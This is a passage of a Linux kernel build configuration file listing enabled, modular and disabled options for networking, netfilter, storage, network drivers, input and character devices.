CONFIG_INET6_TUNNEL=m # CONFIG_INET6_XFRM_MODE_TRANSPORT is not set # CONFIG_INET6_XFRM_MODE_TUNNEL is not set # CONFIG_INET6_XFRM_MODE_BEET is not set # CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set CONFIG_IPV6_SIT=m # CONFIG_IPV6_SIT_6RD is not set CONFIG_IPV6_NDISC_NODETYPE=y CONFIG_IPV6_TUNNEL=m CONFIG_IPV6_GRE=m CONFIG_IPV6_MULTIPLE_TABLES=y CONFIG_IPV6_SUBTREES=y CONFIG_IPV6_MROUTE=y CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y CONFIG_IPV6_PIMSM_V2=y # CONFIG_NETWORK_SECMARK is not set # CONFIG_NETWORK_PHY_TIMESTAMPING is not set CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set CONFIG_NETFILTER_ADVANCED=y CONFIG_BRIDGE_NETFILTER=y # # Core Netfilter Configuration # CONFIG_NETFILTER_NETLINK=m CONFIG_NETFILTER_NETLINK_ACCT=m CONFIG_NETFILTER_NETLINK_QUEUE=m CONFIG_NETFILTER_NETLINK_LOG=m CONFIG_NF_CONNTRACK=m CONFIG_NF_CONNTRACK_MARK=y # CONFIG_NF_CONNTRACK_ZONES is not set # CONFIG_NF_CONNTRACK_PROCFS is not set CONFIG_NF_CONNTRACK_EVENTS=y CONFIG_NF_CONNTRACK_TIMEOUT=y # CONFIG_NF_CONNTRACK_TIMESTAMP is not set CONFIG_NF_CONNTRACK_LABELS=y CONFIG_NF_CT_PROTO_DCCP=m CONFIG_NF_CT_PROTO_GRE=m CONFIG_NF_CT_PROTO_SCTP=m CONFIG_NF_CT_PROTO_UDPLITE=m CONFIG_NF_CONNTRACK_AMANDA=m CONFIG_NF_CONNTRACK_FTP=m CONFIG_NF_CONNTRACK_H323=m CONFIG_NF_CONNTRACK_IRC=m CONFIG_NF_CONNTRACK_BROADCAST=m CONFIG_NF_CONNTRACK_NETBIOS_NS=m CONFIG_NF_CONNTRACK_SNMP=m CONFIG_NF_CONNTRACK_PPTP=m CONFIG_NF_CONNTRACK_SANE=m CONFIG_NF_CONNTRACK_SIP=m CONFIG_NF_CONNTRACK_TFTP=m CONFIG_NF_CT_NETLINK=m CONFIG_NF_CT_NETLINK_TIMEOUT=m CONFIG_NF_CT_NETLINK_HELPER=m CONFIG_NETFILTER_NETLINK_QUEUE_CT=y CONFIG_NF_NAT=m CONFIG_NF_NAT_NEEDED=y CONFIG_NF_NAT_PROTO_DCCP=m CONFIG_NF_NAT_PROTO_UDPLITE=m CONFIG_NF_NAT_PROTO_SCTP=m CONFIG_NF_NAT_AMANDA=m CONFIG_NF_NAT_FTP=m CONFIG_NF_NAT_IRC=m CONFIG_NF_NAT_SIP=m CONFIG_NF_NAT_TFTP=m CONFIG_NETFILTER_TPROXY=m CONFIG_NETFILTER_XTABLES=m # # Xtables combined modules # CONFIG_NETFILTER_XT_MARK=m CONFIG_NETFILTER_XT_CONNMARK=m CONFIG_NETFILTER_XT_SET=m # # Xtables targets # CONFIG_NETFILTER_XT_TARGET_AUDIT=m CONFIG_NETFILTER_XT_TARGET_CHECKSUM=m CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m CONFIG_NETFILTER_XT_TARGET_CONNMARK=m CONFIG_NETFILTER_XT_TARGET_CT=m CONFIG_NETFILTER_XT_TARGET_DSCP=m CONFIG_NETFILTER_XT_TARGET_HL=m CONFIG_NETFILTER_XT_TARGET_HMARK=m CONFIG_NETFILTER_XT_TARGET_IDLETIMER=m CONFIG_NETFILTER_XT_TARGET_LOG=m CONFIG_NETFILTER_XT_TARGET_MARK=m CONFIG_NETFILTER_XT_TARGET_NETMAP=m CONFIG_NETFILTER_XT_TARGET_NFLOG=m CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m # CONFIG_NETFILTER_XT_TARGET_NOTRACK is not set CONFIG_NETFILTER_XT_TARGET_RATEEST=m CONFIG_NETFILTER_XT_TARGET_REDIRECT=m CONFIG_NETFILTER_XT_TARGET_TEE=m CONFIG_NETFILTER_XT_TARGET_TPROXY=m CONFIG_NETFILTER_XT_TARGET_TRACE=m CONFIG_NETFILTER_XT_TARGET_TCPMSS=m CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m # # Xtables matches # CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=m CONFIG_NETFILTER_XT_MATCH_BPF=m CONFIG_NETFILTER_XT_MATCH_CLUSTER=m CONFIG_NETFILTER_XT_MATCH_COMMENT=m CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m CONFIG_NETFILTER_XT_MATCH_CONNLABEL=m CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m CONFIG_NETFILTER_XT_MATCH_CONNMARK=m CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m CONFIG_NETFILTER_XT_MATCH_CPU=m CONFIG_NETFILTER_XT_MATCH_DCCP=m CONFIG_NETFILTER_XT_MATCH_DEVGROUP=m CONFIG_NETFILTER_XT_MATCH_DSCP=m CONFIG_NETFILTER_XT_MATCH_ECN=m CONFIG_NETFILTER_XT_MATCH_ESP=m CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m CONFIG_NETFILTER_XT_MATCH_HELPER=m CONFIG_NETFILTER_XT_MATCH_HL=m CONFIG_NETFILTER_XT_MATCH_IPRANGE=m CONFIG_NETFILTER_XT_MATCH_LENGTH=m CONFIG_NETFILTER_XT_MATCH_LIMIT=m CONFIG_NETFILTER_XT_MATCH_MAC=m CONFIG_NETFILTER_XT_MATCH_MARK=m CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m CONFIG_NETFILTER_XT_MATCH_NFACCT=m CONFIG_NETFILTER_XT_MATCH_OSF=m CONFIG_NETFILTER_XT_MATCH_OWNER=m CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m CONFIG_NETFILTER_XT_MATCH_QUOTA=m CONFIG_NETFILTER_XT_MATCH_RATEEST=m CONFIG_NETFILTER_XT_MATCH_REALM=m CONFIG_NETFILTER_XT_MATCH_RECENT=m CONFIG_NETFILTER_XT_MATCH_SCTP=m CONFIG_NETFILTER_XT_MATCH_SOCKET=m CONFIG_NETFILTER_XT_MATCH_STATE=m CONFIG_NETFILTER_XT_MATCH_STATISTIC=m CONFIG_NETFILTER_XT_MATCH_STRING=m CONFIG_NETFILTER_XT_MATCH_TCPMSS=m CONFIG_NETFILTER_XT_MATCH_TIME=m CONFIG_NETFILTER_XT_MATCH_U32=m CONFIG_IP_SET=m CONFIG_IP_SET_MAX=256 CONFIG_IP_SET_BITMAP_IP=m CONFIG_IP_SET_BITMAP_IPMAC=m CONFIG_IP_SET_BITMAP_PORT=m CONFIG_IP_SET_HASH_IP=m CONFIG_IP_SET_HASH_IPPORT=m CONFIG_IP_SET_HASH_IPPORTIP=m CONFIG_IP_SET_HASH_IPPORTNET=m CONFIG_IP_SET_HASH_NET=m CONFIG_IP_SET_HASH_NETPORT=m CONFIG_IP_SET_HASH_NETIFACE=m CONFIG_IP_SET_LIST_SET=m # CONFIG_IP_VS is not set # # IP: Netfilter Configuration # CONFIG_NF_DEFRAG_IPV4=m CONFIG_NF_CONNTRACK_IPV4=m CONFIG_IP_NF_IPTABLES=m CONFIG_IP_NF_MATCH_AH=m CONFIG_IP_NF_MATCH_ECN=m CONFIG_IP_NF_MATCH_RPFILTER=m CONFIG_IP_NF_MATCH_TTL=m CONFIG_IP_NF_FILTER=m CONFIG_IP_NF_TARGET_REJECT=m CONFIG_IP_NF_TARGET_ULOG=m CONFIG_NF_NAT_IPV4=m CONFIG_IP_NF_TARGET_MASQUERADE=m CONFIG_IP_NF_TARGET_NETMAP=m CONFIG_IP_NF_TARGET_REDIRECT=m CONFIG_NF_NAT_SNMP_BASIC=m CONFIG_NF_NAT_PROTO_GRE=m CONFIG_NF_NAT_PPTP=m CONFIG_NF_NAT_H323=m CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_CLUSTERIP=m CONFIG_IP_NF_TARGET_ECN=m CONFIG_IP_NF_TARGET_TTL=m CONFIG_IP_NF_RAW=m CONFIG_IP_NF_ARPTABLES=m CONFIG_IP_NF_ARPFILTER=m CONFIG_IP_NF_ARP_MANGLE=m # # IPv6: Netfilter Configuration # CONFIG_NF_DEFRAG_IPV6=m CONFIG_NF_CONNTRACK_IPV6=m CONFIG_IP6_NF_IPTABLES=m CONFIG_IP6_NF_MATCH_AH=m CONFIG_IP6_NF_MATCH_EUI64=m CONFIG_IP6_NF_MATCH_FRAG=m CONFIG_IP6_NF_MATCH_OPTS=m CONFIG_IP6_NF_MATCH_HL=m CONFIG_IP6_NF_MATCH_IPV6HEADER=m CONFIG_IP6_NF_MATCH_MH=m CONFIG_IP6_NF_MATCH_RPFILTER=m CONFIG_IP6_NF_MATCH_RT=m CONFIG_IP6_NF_TARGET_HL=m CONFIG_IP6_NF_FILTER=m CONFIG_IP6_NF_TARGET_REJECT=m CONFIG_IP6_NF_MANGLE=m CONFIG_IP6_NF_RAW=m CONFIG_NF_NAT_IPV6=m CONFIG_IP6_NF_TARGET_MASQUERADE=m CONFIG_IP6_NF_TARGET_NPT=m CONFIG_BRIDGE_NF_EBTABLES=m CONFIG_BRIDGE_EBT_BROUTE=m CONFIG_BRIDGE_EBT_T_FILTER=m CONFIG_BRIDGE_EBT_T_NAT=m CONFIG_BRIDGE_EBT_802_3=m CONFIG_BRIDGE_EBT_AMONG=m CONFIG_BRIDGE_EBT_ARP=m CONFIG_BRIDGE_EBT_IP=m CONFIG_BRIDGE_EBT_IP6=m CONFIG_BRIDGE_EBT_LIMIT=m CONFIG_BRIDGE_EBT_MARK=m CONFIG_BRIDGE_EBT_PKTTYPE=m CONFIG_BRIDGE_EBT_STP=m CONFIG_BRIDGE_EBT_VLAN=m CONFIG_BRIDGE_EBT_ARPREPLY=m CONFIG_BRIDGE_EBT_DNAT=m CONFIG_BRIDGE_EBT_MARK_T=m CONFIG_BRIDGE_EBT_REDIRECT=m CONFIG_BRIDGE_EBT_SNAT=m CONFIG_BRIDGE_EBT_LOG=m CONFIG_BRIDGE_EBT_ULOG=m CONFIG_BRIDGE_EBT_NFLOG=m # CONFIG_IP_DCCP is not set # CONFIG_IP_SCTP is not set # CONFIG_RDS is not set # CONFIG_TIPC is not set # CONFIG_ATM is not set # CONFIG_L2TP is not set CONFIG_STP=m CONFIG_GARP=m CONFIG_BRIDGE=m CONFIG_BRIDGE_IGMP_SNOOPING=y CONFIG_BRIDGE_VLAN_FILTERING=y CONFIG_HAVE_NET_DSA=y CONFIG_VLAN_8021Q=m CONFIG_VLAN_8021Q_GVRP=y # CONFIG_VLAN_8021Q_MVRP is not set # CONFIG_DECNET is not set CONFIG_LLC=m # CONFIG_LLC2 is not set # CONFIG_IPX is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set # CONFIG_PHONET is not set # CONFIG_IEEE802154 is not set CONFIG_NET_SCHED=y # # Queueing/Scheduling # CONFIG_NET_SCH_CBQ=m CONFIG_NET_SCH_HTB=m CONFIG_NET_SCH_HFSC=m CONFIG_NET_SCH_PRIO=m CONFIG_NET_SCH_MULTIQ=m CONFIG_NET_SCH_RED=m CONFIG_NET_SCH_SFB=m CONFIG_NET_SCH_SFQ=m CONFIG_NET_SCH_TEQL=m CONFIG_NET_SCH_TBF=m CONFIG_NET_SCH_GRED=m CONFIG_NET_SCH_DSMARK=m CONFIG_NET_SCH_NETEM=m CONFIG_NET_SCH_DRR=m CONFIG_NET_SCH_MQPRIO=m CONFIG_NET_SCH_CHOKE=m CONFIG_NET_SCH_QFQ=m CONFIG_NET_SCH_CODEL=m CONFIG_NET_SCH_FQ_CODEL=m CONFIG_NET_SCH_INGRESS=m CONFIG_NET_SCH_PLUG=m # # Classification # CONFIG_NET_CLS=y CONFIG_NET_CLS_BASIC=m CONFIG_NET_CLS_TCINDEX=m CONFIG_NET_CLS_ROUTE4=m CONFIG_NET_CLS_FW=m CONFIG_NET_CLS_U32=m CONFIG_CLS_U32_PERF=y CONFIG_CLS_U32_MARK=y CONFIG_NET_CLS_RSVP=m CONFIG_NET_CLS_RSVP6=m CONFIG_NET_CLS_FLOW=m CONFIG_NET_CLS_CGROUP=m CONFIG_NET_EMATCH=y CONFIG_NET_EMATCH_STACK=32 CONFIG_NET_EMATCH_CMP=m CONFIG_NET_EMATCH_NBYTE=m CONFIG_NET_EMATCH_U32=m CONFIG_NET_EMATCH_META=m CONFIG_NET_EMATCH_TEXT=m # CONFIG_NET_EMATCH_IPSET is not set CONFIG_NET_CLS_ACT=y CONFIG_NET_ACT_POLICE=m CONFIG_NET_ACT_GACT=m CONFIG_GACT_PROB=y CONFIG_NET_ACT_MIRRED=m CONFIG_NET_ACT_IPT=m CONFIG_NET_ACT_NAT=m CONFIG_NET_ACT_PEDIT=m CONFIG_NET_ACT_SIMP=m CONFIG_NET_ACT_SKBEDIT=m CONFIG_NET_ACT_CSUM=m CONFIG_NET_CLS_IND=y CONFIG_NET_SCH_FIFO=y # CONFIG_DCB is not set CONFIG_DNS_RESOLVER=y # CONFIG_BATMAN_ADV is not set # CONFIG_OPENVSWITCH is not set # CONFIG_VSOCKETS is not set # CONFIG_NETLINK_MMAP is not set # CONFIG_NETLINK_DIAG is not set CONFIG_RPS=y CONFIG_RFS_ACCEL=y CONFIG_XPS=y CONFIG_NETPRIO_CGROUP=m CONFIG_BQL=y CONFIG_BPF_JIT=y # # Network testing # # CONFIG_NET_PKTGEN is not set # CONFIG_HAMRADIO is not set # CONFIG_CAN is not set # CONFIG_IRDA is not set # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set CONFIG_FIB_RULES=y # CONFIG_WIRELESS is not set # CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set # CONFIG_CEPH_LIB is not set # CONFIG_NFC is not set CONFIG_HAVE_BPF_JIT=y # # Device Drivers # # # Generic Driver Options # CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug" CONFIG_DEVTMPFS=y # CONFIG_DEVTMPFS_MOUNT is not set CONFIG_STANDALONE=y CONFIG_PREVENT_FIRMWARE_BUILD=y CONFIG_FW_LOADER=y # CONFIG_FIRMWARE_IN_KERNEL is not set CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_SYS_HYPERVISOR is not set # CONFIG_GENERIC_CPU_DEVICES is not set # CONFIG_DMA_SHARED_BUFFER is not set # # Bus devices # CONFIG_CONNECTOR=m # CONFIG_MTD is not set # CONFIG_PARPORT is not set CONFIG_PNP=y CONFIG_PNP_DEBUG_MESSAGES=y # # Protocols # CONFIG_PNPACPI=y CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set # CONFIG_BLK_CPQ_DA is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_BLK_DEV_DAC960 is not set # CONFIG_BLK_DEV_UMEM is not set # CONFIG_BLK_DEV_COW_COMMON is not set CONFIG_BLK_DEV_LOOP=m CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 CONFIG_BLK_DEV_CRYPTOLOOP=m CONFIG_BLK_DEV_DRBD=m # CONFIG_DRBD_FAULT_INJECTION is not set CONFIG_BLK_DEV_NBD=m # CONFIG_BLK_DEV_NVME is not set # CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=m CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=4096 # CONFIG_BLK_DEV_XIP is not set # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_HD is not set # CONFIG_BLK_DEV_RBD is not set # CONFIG_BLK_DEV_RSXX is not set # # Misc devices # # CONFIG_SENSORS_LIS3LV02D is not set # CONFIG_AD525X_DPOT is not set # CONFIG_DUMMY_IRQ is not set # CONFIG_IBM_ASM is not set # CONFIG_PHANTOM is not set # CONFIG_INTEL_MID_PTI is not set # CONFIG_SGI_IOC4 is not set # CONFIG_TIFM_CORE is not set # CONFIG_ICS932S401 is not set # CONFIG_ATMEL_SSC is not set # CONFIG_ENCLOSURE_SERVICES is not set # CONFIG_HP_ILO is not set # CONFIG_APDS9802ALS is not set # CONFIG_ISL29003 is not set # CONFIG_ISL29020 is not set # CONFIG_SENSORS_TSL2550 is not set # CONFIG_SENSORS_BH1780 is not set # CONFIG_SENSORS_BH1770 is not set # CONFIG_SENSORS_APDS990X is not set # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_BMP085_I2C is not set # CONFIG_PCH_PHUB is not set # CONFIG_USB_SWITCH_FSA9480 is not set # CONFIG_SRAM is not set # CONFIG_C2PORT is not set # # EEPROM support # # CONFIG_EEPROM_AT24 is not set # CONFIG_EEPROM_LEGACY is not set # CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set # CONFIG_CB710_CORE is not set # # Texas Instruments shared transport line discipline # # CONFIG_SENSORS_LIS3_I2C is not set # # Altera FPGA firmware download module # # CONFIG_ALTERA_STAPL is not set # CONFIG_VMWARE_VMCI is not set CONFIG_HAVE_IDE=y # CONFIG_IDE is not set # # SCSI device support # CONFIG_SCSI_MOD=m # CONFIG_RAID_ATTRS is not set CONFIG_SCSI=m CONFIG_SCSI_DMA=y # CONFIG_SCSI_TGT is not set # CONFIG_SCSI_NETLINK is not set # CONFIG_SCSI_PROC_FS is not set # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=m # CONFIG_CHR_DEV_ST is not set # CONFIG_CHR_DEV_OSST is not set # CONFIG_BLK_DEV_SR is not set # CONFIG_CHR_DEV_SG is not set # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_MULTI_LUN is not set CONFIG_SCSI_CONSTANTS=y # CONFIG_SCSI_LOGGING is not set # CONFIG_SCSI_SCAN_ASYNC is not set # # SCSI Transports # # CONFIG_SCSI_SPI_ATTRS is not set # CONFIG_SCSI_FC_ATTRS is not set # CONFIG_SCSI_ISCSI_ATTRS is not set # CONFIG_SCSI_SAS_ATTRS is not set # CONFIG_SCSI_SAS_LIBSAS is not set # CONFIG_SCSI_SRP_ATTRS is not set # CONFIG_SCSI_LOWLEVEL is not set # CONFIG_SCSI_DH is not set # CONFIG_SCSI_OSD_INITIATOR is not set CONFIG_ATA=m # CONFIG_ATA_NONSTANDARD is not set CONFIG_ATA_VERBOSE_ERROR=y CONFIG_ATA_ACPI=y # CONFIG_SATA_ZPODD is not set CONFIG_SATA_PMP=y # # Controllers with non-SFF native interface # CONFIG_SATA_AHCI=m # CONFIG_SATA_AHCI_PLATFORM is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set CONFIG_SATA_SIL24=m CONFIG_ATA_SFF=y # # SFF controllers with custom DMA interface # # CONFIG_PDC_ADMA is not set # CONFIG_SATA_QSTOR is not set # CONFIG_SATA_SX4 is not set CONFIG_ATA_BMDMA=y # # SATA SFF controllers with BMDMA # CONFIG_ATA_PIIX=m # CONFIG_SATA_HIGHBANK is not set CONFIG_SATA_MV=m # CONFIG_SATA_NV is not set # CONFIG_SATA_PROMISE is not set # CONFIG_SATA_SIL is not set # CONFIG_SATA_SIS is not set # CONFIG_SATA_SVW is not set # CONFIG_SATA_ULI is not set # CONFIG_SATA_VIA is not set # CONFIG_SATA_VITESSE is not set # # PATA SFF controllers with BMDMA # # CONFIG_PATA_ALI is not set # CONFIG_PATA_AMD is not set # CONFIG_PATA_ARTOP is not set # CONFIG_PATA_ATIIXP is not set # CONFIG_PATA_ATP867X is not set # CONFIG_PATA_CMD64X is not set # CONFIG_PATA_CS5520 is not set # CONFIG_PATA_CS5530 is not set # CONFIG_PATA_CS5536 is not set # CONFIG_PATA_CYPRESS is not set # CONFIG_PATA_EFAR is not set # CONFIG_PATA_HPT366 is not set # CONFIG_PATA_HPT37X is not set # CONFIG_PATA_HPT3X2N is not set # CONFIG_PATA_HPT3X3 is not set # CONFIG_PATA_IT8213 is not set # CONFIG_PATA_IT821X is not set # CONFIG_PATA_JMICRON is not set CONFIG_PATA_MARVELL=m # CONFIG_PATA_NETCELL is not set # CONFIG_PATA_NINJA32 is not set # CONFIG_PATA_NS87415 is not set # CONFIG_PATA_OLDPIIX is not set # CONFIG_PATA_OPTIDMA is not set # CONFIG_PATA_PDC2027X is not set # CONFIG_PATA_PDC_OLD is not set # CONFIG_PATA_RADISYS is not set # CONFIG_PATA_RDC is not set # CONFIG_PATA_SC1200 is not set # CONFIG_PATA_SCH is not set # CONFIG_PATA_SERVERWORKS is not set # CONFIG_PATA_SIL680 is not set # CONFIG_PATA_SIS is not set # CONFIG_PATA_TOSHIBA is not set # CONFIG_PATA_TRIFLEX is not set # CONFIG_PATA_VIA is not set # CONFIG_PATA_WINBOND is not set # # PIO-only SFF controllers # # CONFIG_PATA_CMD640_PCI is not set # CONFIG_PATA_MPIIX is not set # CONFIG_PATA_NS87410 is not set # CONFIG_PATA_OPTI is not set # CONFIG_PATA_RZ1000 is not set # # Generic fallback / legacy drivers # # CONFIG_PATA_ACPI is not set # CONFIG_ATA_GENERIC is not set # CONFIG_PATA_LEGACY is not set CONFIG_MD=y CONFIG_BLK_DEV_MD=m CONFIG_MD_LINEAR=m CONFIG_MD_RAID0=m CONFIG_MD_RAID1=m CONFIG_MD_RAID10=m CONFIG_MD_RAID456=m CONFIG_MD_MULTIPATH=m CONFIG_MD_FAULTY=m CONFIG_BCACHE=m # CONFIG_BCACHE_DEBUG is not set # CONFIG_BCACHE_EDEBUG is not set # CONFIG_BCACHE_CLOSURES_DEBUG is not set CONFIG_BLK_DEV_DM=y CONFIG_DM_DEBUG=y CONFIG_DM_BUFIO=m CONFIG_DM_BIO_PRISON=m CONFIG_DM_PERSISTENT_DATA=m CONFIG_DM_CRYPT=m CONFIG_DM_SNAPSHOT=m CONFIG_DM_THIN_PROVISIONING=m # CONFIG_DM_DEBUG_BLOCK_STACK_TRACING is not set CONFIG_DM_CACHE=m CONFIG_DM_CACHE_MQ=m CONFIG_DM_CACHE_CLEANER=m CONFIG_DM_MIRROR=m CONFIG_DM_RAID=m CONFIG_DM_LOG_USERSPACE=m CONFIG_DM_ZERO=m # CONFIG_DM_MULTIPATH is not set # CONFIG_DM_DELAY is not set CONFIG_DM_UEVENT=y # CONFIG_DM_FLAKEY is not set # CONFIG_DM_VERITY is not set # CONFIG_TARGET_CORE is not set # CONFIG_FUSION is not set # # IEEE 1394 (FireWire) support # # CONFIG_FIREWIRE is not set # CONFIG_FIREWIRE_NOSY is not set # CONFIG_I2O is not set # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y CONFIG_NET_CORE=y CONFIG_BONDING=m # CONFIG_DUMMY is not set # CONFIG_EQUALIZER is not set # CONFIG_NET_FC is not set CONFIG_MII=m # CONFIG_IFB is not set # CONFIG_NET_TEAM is not set CONFIG_MACVLAN=m CONFIG_MACVTAP=m # CONFIG_VXLAN is not set CONFIG_NETCONSOLE=m CONFIG_NETCONSOLE_DYNAMIC=y CONFIG_NETPOLL=y # CONFIG_NETPOLL_TRAP is not set CONFIG_NET_POLL_CONTROLLER=y CONFIG_TUN=m CONFIG_VETH=m # CONFIG_ARCNET is not set # # CAIF transport drivers # CONFIG_VHOST_NET=m CONFIG_VHOST_RING=m # # Distributed Switch Architecture drivers # # CONFIG_NET_DSA_MV88E6XXX is not set # CONFIG_NET_DSA_MV88E6060 is not set # CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set # CONFIG_NET_DSA_MV88E6131 is not set # CONFIG_NET_DSA_MV88E6123_61_65 is not set CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set # CONFIG_NET_VENDOR_ALTEON is not set # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_ATHEROS is not set # CONFIG_NET_CADENCE is not set # CONFIG_NET_VENDOR_BROADCOM is not set # CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_CALXEDA_XGMAC is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set # CONFIG_NET_VENDOR_EXAR is not set # CONFIG_NET_VENDOR_HP is not set CONFIG_NET_VENDOR_INTEL=y # CONFIG_E100 is not set CONFIG_E1000=m CONFIG_E1000E=m # CONFIG_IGB is not set # CONFIG_IGBVF is not set # CONFIG_IXGB is not set # CONFIG_IXGBE is not set # CONFIG_IXGBEVF is not set # CONFIG_NET_VENDOR_I825XX is not set # CONFIG_IP1000 is not set # CONFIG_JME is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set # CONFIG_NET_PACKET_ENGINE is not set # CONFIG_NET_VENDOR_QLOGIC is not set CONFIG_NET_VENDOR_REALTEK=y # CONFIG_8139CP is not set # CONFIG_8139TOO is not set CONFIG_R8169=m # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_SEEQ is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set # CONFIG_SFC is not set # CONFIG_NET_VENDOR_SMSC is not set # CONFIG_NET_VENDOR_STMICRO is not set # CONFIG_NET_VENDOR_SUN is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set CONFIG_PPP=m CONFIG_PPP_BSDCOMP=m CONFIG_PPP_DEFLATE=m CONFIG_PPP_FILTER=y CONFIG_PPP_MPPE=m CONFIG_PPP_MULTILINK=y CONFIG_PPPOE=m CONFIG_PPP_ASYNC=m CONFIG_PPP_SYNC_TTY=m # CONFIG_SLIP is not set CONFIG_SLHC=m # # USB Network Adapters # # CONFIG_USB_CATC is not set # CONFIG_USB_KAWETH is not set # CONFIG_USB_PEGASUS is not set # CONFIG_USB_RTL8150 is not set # CONFIG_USB_RTL8152 is not set # CONFIG_USB_USBNET is not set # CONFIG_USB_IPHETH is not set # CONFIG_WLAN is not set # # Enable WiMAX (Networking options) to see the WiMAX drivers # # CONFIG_WAN is not set # CONFIG_VMXNET3 is not set # CONFIG_ISDN is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set # CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y # CONFIG_INPUT_MOUSEDEV_PSAUX is not set CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 # CONFIG_INPUT_JOYDEV is not set CONFIG_INPUT_EVDEV=m # CONFIG_INPUT_EVBUG is not set # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y # CONFIG_KEYBOARD_ADP5588 is not set # CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_QT1070 is not set # CONFIG_KEYBOARD_QT2160 is not set # CONFIG_KEYBOARD_LKKBD is not set # CONFIG_KEYBOARD_TCA6416 is not set # CONFIG_KEYBOARD_TCA8418 is not set # CONFIG_KEYBOARD_LM8333 is not set # CONFIG_KEYBOARD_MAX7359 is not set # CONFIG_KEYBOARD_MCS is not set # CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set # CONFIG_INPUT_TOUCHSCREEN is not set # CONFIG_INPUT_MISC is not set # # Hardware I/O ports # CONFIG_SERIO=y CONFIG_SERIO_I8042=y # CONFIG_SERIO_SERPORT is not set # CONFIG_SERIO_CT82C710 is not set # CONFIG_SERIO_PCIPS2 is not set CONFIG_SERIO_LIBPS2=y # CONFIG_SERIO_RAW is not set # CONFIG_SERIO_ALTERA_PS2 is not set # CONFIG_SERIO_PS2MULT is not set # CONFIG_SERIO_ARC_PS2 is not set # CONFIG_GAMEPORT is not set # # Character devices # CONFIG_TTY=y CONFIG_VT=y CONFIG_CONSOLE_TRANSLATIONS=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y # CONFIG_VT_HW_CONSOLE_BINDING is not set CONFIG_UNIX98_PTYS=y CONFIG_DEVPTS_MULTIPLE_INSTANCES=y # CONFIG_LEGACY_PTYS is not set # CONFIG_SERIAL_NONSTANDARD is not set # CONFIG_NOZOMI is not set # CONFIG_N_GSM is not set # CONFIG_TRACE_SINK is not set # CONFIG_DEVKMEM is not set # # Serial drivers # CONFIG_SERIAL_8250=y # 